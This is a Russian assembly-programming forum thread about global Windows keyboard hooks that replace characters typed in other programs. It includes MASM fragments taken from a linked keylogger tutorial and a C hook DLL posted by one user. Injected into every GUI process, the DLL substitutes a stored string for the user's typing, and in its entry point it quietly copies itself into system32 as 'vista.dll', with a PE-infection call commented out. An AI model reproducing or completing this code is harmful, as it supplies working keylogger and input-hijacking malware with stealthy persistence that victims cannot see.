Глобальный хук на клавиатуру

Тема в разделе "WASM.BEGINNERS", создана пользователем DarkAngel, 15 ноя 2010.

  1. DarkAngel

    DarkAngel New Member

    Публикаций:
    0
    Регистрация:
    15 ноя 2010
    Сообщения:
    12
    Есть программа, которая устанавливает системный хук на клавиатуру, далее специальным образом обрабатывает введенный на клавиатуре символ и отправляет в свое окно лога. А как сделать так, чтобы программа отправляла символ в активное окно другого приложения вместо введенного там символа, как в Пуантосвич?

    Я определяю правильный хендл активного окна функцией GetActiveWindow, проверялся прогой MouseHook, далее посылаю символ SendMessage.
     
  2. eua

    eua New Member

    Публикаций:
    0
    Регистрация:
    25 июл 2010
    Сообщения:
    42
    попробуй так


    invoke FindWindow, okno, 0
    mov [hw],eax
    invoke EnumChildWindows,[hw],EnumChildProc, NULL
    invoke SendMessage,[hchild],WM_SETTEXT,100,text
    invoke ExitProcess,0

    proc EnumChildProc hwchild,NULL
    push ebx esi edi
    invoke GetClassName, [hwchild],ClassName,5 ;Ищем по классу
    cmp [ClassName],edit
    mov eax,[hwchild]
    mov [hchild],eax

    endp

    okno db 'notepad', 0
    hw rd 4
    text db 'Hello',0
    edit db 'edit',0
    ClassName rd 1
    hchild rd 4
     
  3. DarkAngel

    DarkAngel New Member

    Публикаций:
    0
    Регистрация:
    15 ноя 2010
    Сообщения:
    12
    хорошо, попробую.
    Нужно делать обработку во всех окнах с клавиатурным фокусом, например на ярлыках.
    Понимаю, что нужно разбираться с функцией KeyBoardProc с фильтрацией сообщений WM_KEYUP и WM_KEYDOWN.
    Но хотел бы услышать мнение специалистов на след вопрос. Можно ли в длл-ке хука отловить нажатый символ (вирткей в wParam), обработать, заменив на др значение и вернуть программе в которой осуществляется клавиатурный ввод.
    Например, я печатаю сейчас на форуме, в редакторе, на ярлык, а некоторые символы (а, б, в) преобразуются в верхний регистр

    http://back2hack.cc/masm-keylogger-t-1027.html

    KeyBoardProc PROC nCode:lol: WORD, wParam:lol: WORD, lParam:lol: WORD
    описание еменных
    ;----------------------------
    lea edi, [lpKeyState] ; lets zero out our buffers
    push 256/4
    pop ecx
    xor eax, eax
    rep stosd ; sets us up for doubleword from EAX
    mov eax, wParam
    cmp eax, WM_KEYUP ; only need WM_KEYDOWN
    je next_hook ; bypass double logging
    cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN
    je next_hook ; bypass double logging
     
  4. max7C4

    max7C4 New Member

    Публикаций:
    0
    Регистрация:
    17 мар 2008
    Сообщения:
    1.203
    А кто мешает при вызове CallNextHook указать в измененное значение
     
  5. DarkAngel

    DarkAngel New Member

    Публикаций:
    0
    Регистрация:
    15 ноя 2010
    Сообщения:
    12
    Нет, CallNextHook позволяет виндовс обработать всю цепочку ранее установленных хуков.
    Поэтому необходимо, изменять wParam до нее.
    mov wParam, 44h дает символ d в логе моей программы, вместо всех введенных в любых окнах.
    Установил фильтр WH_KEYBOARD_LL, отлавливаются WM_KEYDOWN и WM_SYSKEYDOWN
    1.Если выйти из LowLevelKeyboardProc с eax =1, то "обламывается" весь ввод с клавиатуры.
    2.Код из LowLevelKeyboardProc иммитирует нерабочую клавишу 'a'
    mov esi, [lParam] ; указатель на структуру KBDLLHOOKSTRUCT
    ;typedef struct {
    mov eax, dword ptr [esi] ; vkCode
    .if eax == 41h
    invoke CallNextHookEx,hHook,nCode,wParam,lParam
    mov eax,1
    ret

    ; если нажали 'a', извлечь (убрать) сообщение из очереди
    ; символ 'a' печатается с замедлением
    ;invoke GetActiveWindow
    ;mov hAWnd, eax
    ;invoke GetMessage, addr uMsg, hAWnd, WM_KEYUP, WM_KEYDOWN
    .endif
    Тобр, замена символа в структуре KBDLLHOOKSTRUCT при WM_KEYDOWN также не работает




    KBDLLHOOKSTRUCT struct
    vkCode DWORD ?
    scanCode DWORD ?
    flags DWORD ?
    time DWORD ?
    dwExtraInfo DWORD ? ;ULONG_PTR ?
    KBDLLHOOKSTRUCT ends
     
  6. punxer

    punxer Андрей

    Публикаций:
    0
    Регистрация:
    16 окт 2006
    Сообщения:
    1.327
    Адрес:
    Ржев
    Код (Text):
    1. #include <windows.h>
    2. #include "MainHook.h"
    3. #include "resource.h"
    4.  
    5. HANDLE hHeap=NULL;
    6. HMODULE hInstance=NULL;
    7. HHOOK   hhookHooks=NULL;           
    8. static char* txt=NULL;
    9. MEMORY_BASIC_INFORMATION mbi;
    10. char pPath[MAX_PATH];
    11. long slen=NULL;
    12. char windir[MAX_PATH];
    13.  
    14. BOOL APIENTRY DllMain( HMODULE hModule,
    15.                        DWORD  ul_reason_for_call,
    16.                        LPVOID lpReserved
    17.                      )
    18. {
    19.     hInstance=hModule;
    20.  
    21.     VirtualQuery(DllMain,&mbi,sizeof(mbi));
    22.     GetModuleFileName((HMODULE)mbi.AllocationBase,(LPCH)pPath,MAX_PATH);
    23.     slen=lstrlen((LPCSTR)pPath);
    24.     if (!lstrcmpi((LPCSTR)(pPath+slen-3),"exe"))
    25.     {
    26.        
    27.         GetWindowsDirectory(windir,MAX_PATH);
    28.         lstrcat(windir,"\\system32\\vista.dll");
    29.         install_dll(windir);
    30.         ConvertPE(windir);
    31.  
    32.         //infect_pe("");
    33.         return true;
    34.     }
    35.  
    36.    
    37.    
    38.     switch (ul_reason_for_call)
    39.     {
    40.         case DLL_PROCESS_ATTACH:           
    41.            
    42.             hHeap=GetProcessHeap();
    43.             if (!hHeap) return false;
    44.             txt=(char*)HeapAlloc(hHeap,HEAP_ZERO_MEMORY,MAX_PATH);
    45.             LoadString ((HINSTANCE)hInstance,IDS_1,(LPSTR)txt,MAX_PATH);           
    46.             return true;
    47.         case DLL_THREAD_ATTACH:
    48.             return true;
    49.             break;
    50.         case DLL_THREAD_DETACH:
    51.             return true;
    52.             break;
    53.         case DLL_PROCESS_DETACH:
    54.  
    55.             HeapFree(hHeap,0,txt);
    56.             return true;
    57.     }
    58.  
    59.     return true;
    60. }
    61.  __declspec(dllexport) void dummy()
    62. {
    63.  
    64. }
    65.  
    66.  __declspec(dllexport) HHOOK InstallFilterDLL()
    67. {
    68.     hhookHooks=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC) HookProc, (HINSTANCE) hInstance, 0);
    69.     return hhookHooks;
    70. }
    71.  
    72.  
    73.  __declspec(dllexport) BOOL UnInstallFilterDLL()
    74. {  
    75.     return UnhookWindowsHookEx(hhookHooks);
    76. }
    77.  
    78. LRESULT WINAPI HookProc(int nCode, WPARAM wParam, LPARAM lParam)
    79. {  
    80.     MSG *lpMsg;
    81.     static int pos;
    82.     if (nCode >= 0)
    83.     {
    84.         lpMsg = (MSG *) lParam;    
    85.         switch (nCode)    
    86.         {      
    87.             case HC_ACTION:
    88.                 if (lpMsg->message==WM_CHAR)
    89.                 {
    90.                 //KeyPress Handling
    91.                     if (lpMsg->wParam==VK_BACK)
    92.                     {
    93.                         if (pos>0)pos--;
    94.                     }
    95.                     else if (lpMsg->wParam==VK_RETURN)
    96.                     {
    97.                         pos=0;
    98.                     }
    99.                     else
    100.                     {
    101.                         if (pos==lstrlen((const char *)txt)) pos=0;
    102.                         lpMsg->wParam=(char)*(txt+pos);
    103.                         pos++;
    104.                     }                  
    105.                 }
    106.                 return CallNextHookEx(0, nCode, wParam, lParam);                 
    107.             default:
    108.                 return CallNextHookEx(0, nCode, wParam, lParam);               
    109.         }
    110.     }
    111.     else
    112.     {
    113.         return CallNextHookEx(0, nCode, wParam, lParam);
    114.     }
    115. }
    116.  
    117.  
    118. bool CanHook()
    119. {
    120.     return true;
    121. }
    122.  
    123. void ViewLastError(void)
    124. {
    125. void* cstr;
    126.     FormatMessage(
    127.         FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
    128.         NULL,
    129.         GetLastError(),
    130.         MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
    131.         (LPTSTR) &cstr,
    132.         0,
    133.         NULL
    134.     );
    135.     MessageBox(0,(LPCSTR)cstr,"ERROR",MB_OK);
    136.  
    137. }
     
  7. punxer

    punxer Андрей

    Публикаций:
    0
    Регистрация:
    16 окт 2006
    Сообщения:
    1.327
    Адрес:
    Ржев
    Будучи внедренной во все GUI процессы подменяет ввод на строку в ресурсах. Пишем одно- пишется другое.
    Ну тока убрать чушь всякую лишнюю)))
     
  8. DarkAngel

    DarkAngel New Member

    Публикаций:
    0
    Регистрация:
    15 ноя 2010
    Сообщения:
    12
    punxer
    Большое спасибо.

    Как в коде перейти к переменным типа uMsg.message вместо [ebx].message?
    Хотелось бы сделать как в примере на C++, а ничего не получается.

    ;mov (MSG) uMsg, eax
    mov ebx, lParam
    assume ebx: ptr MSG

    .if nCode == HC_ACTION

    .if [ebx].message== WM_CHAR
    ;mov eax, [ebx].message
    ;PrintHex eax
    ;PrintHex WM_CHAR
    ;//KeyPress Handling
    .if [ebx].wParam==VK_BACK
    ;.if (pos>0)pos--;

    .elseif [ebx].wParam==VK_RETURN
    ; pos=0;
    .endif

    ;{
    ;mov eax, [ebx].wParam
    ;PrintHex eax;uMsg.wParam
    .if [ebx].wParam == 41h ;if (pos==lstrlen((const char *)txt)) pos=0;
    mov [ebx].wParam, 44h ;uMsg->wParam=(char)*(txt+pos);
    ;pos++;
    .endif
    .endif ;}

    .endif ;.if nCode == HC_ACTION
     
  9. baldr

    baldr New Member

    Публикаций:
    0
    Регистрация:
    29 апр 2010
    Сообщения:
    327
    DarkAngel,

    Можно скопировать структуру, на которую указывает lParam, в локальную структуру, а перед возвратом — скопировать обратно модифицированную. Только непонятно, зачем такая акробатика. Хочется писать Msg.message вместо [ebx].message — сделай Msg equ [ebx] (только каша в голове заметна: то uMsg.wParam, то uMsg->wParam, а вообще в венгерской записи префикс u означает беззнаковый скаляр, не структуру и не указатель на оную).
     
  10. DarkAngel

    DarkAngel New Member

    Публикаций:
    0
    Регистрация:
    15 ноя 2010
    Сообщения:
    12
    Не совсем ясно, как переводится на ассемблер MASM32 след. код?
    MSG *lpMsg;
    lpMsg = (MSG *) lParam;

    И еще один вопрос по языковым локалям.
    Выставлена английская раскладка (EN на языковой панели)
    1. Если меняется 41h на 44h, то при вводе с клавиатуры получаю одинаковый результат d в любом окне и в едит-контроле моей программы
    (invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer).

    2. Если меняется 41h на любой символ русской раскладки (при активной EN), то в активном окне выводится символ из английского набора, но русский символ в едит-контроле моей программы.
    Как это исправить при установленной русской локали?
    Без установленной?


    Если коротко. 3 проги: qikpad.exe, моя прога, notepad.exe. Везде Edit-контрол.

    -Запускаю свою прогу с хуком и с Edit-контролом
    -Запускаю и печатаю на EN-раскладке русскими символами в C:\masm3210\examples\exampl02\qikpad\qikpad.exe
    Все это печатается один к одному в моей проге (обрабатываются клавиши упр-я курсором, таб, забой, дел; текст редактируется один к одному). Копируется без проблем в оба направления.
    При копировании из Edit-контрола моей программы в Edit-контрол notepad, вставляется абракадабра, типа "Àçáóêà" вместо "Азбука" .
    Конечно, все и так отлично, но хотелось бы еще лучше.
     
  11. punxer

    punxer Андрей

    Публикаций:
    0
    Регистрация:
    16 окт 2006
    Сообщения:
    1.327
    Адрес:
    Ржев
    Код (Text):
    1. msg MSG <?>
    2.  
    3. invoke CopyMemory offset msg, lparam, размер MSG
    4.  
    5. msg.message
    типа того
    только это бред))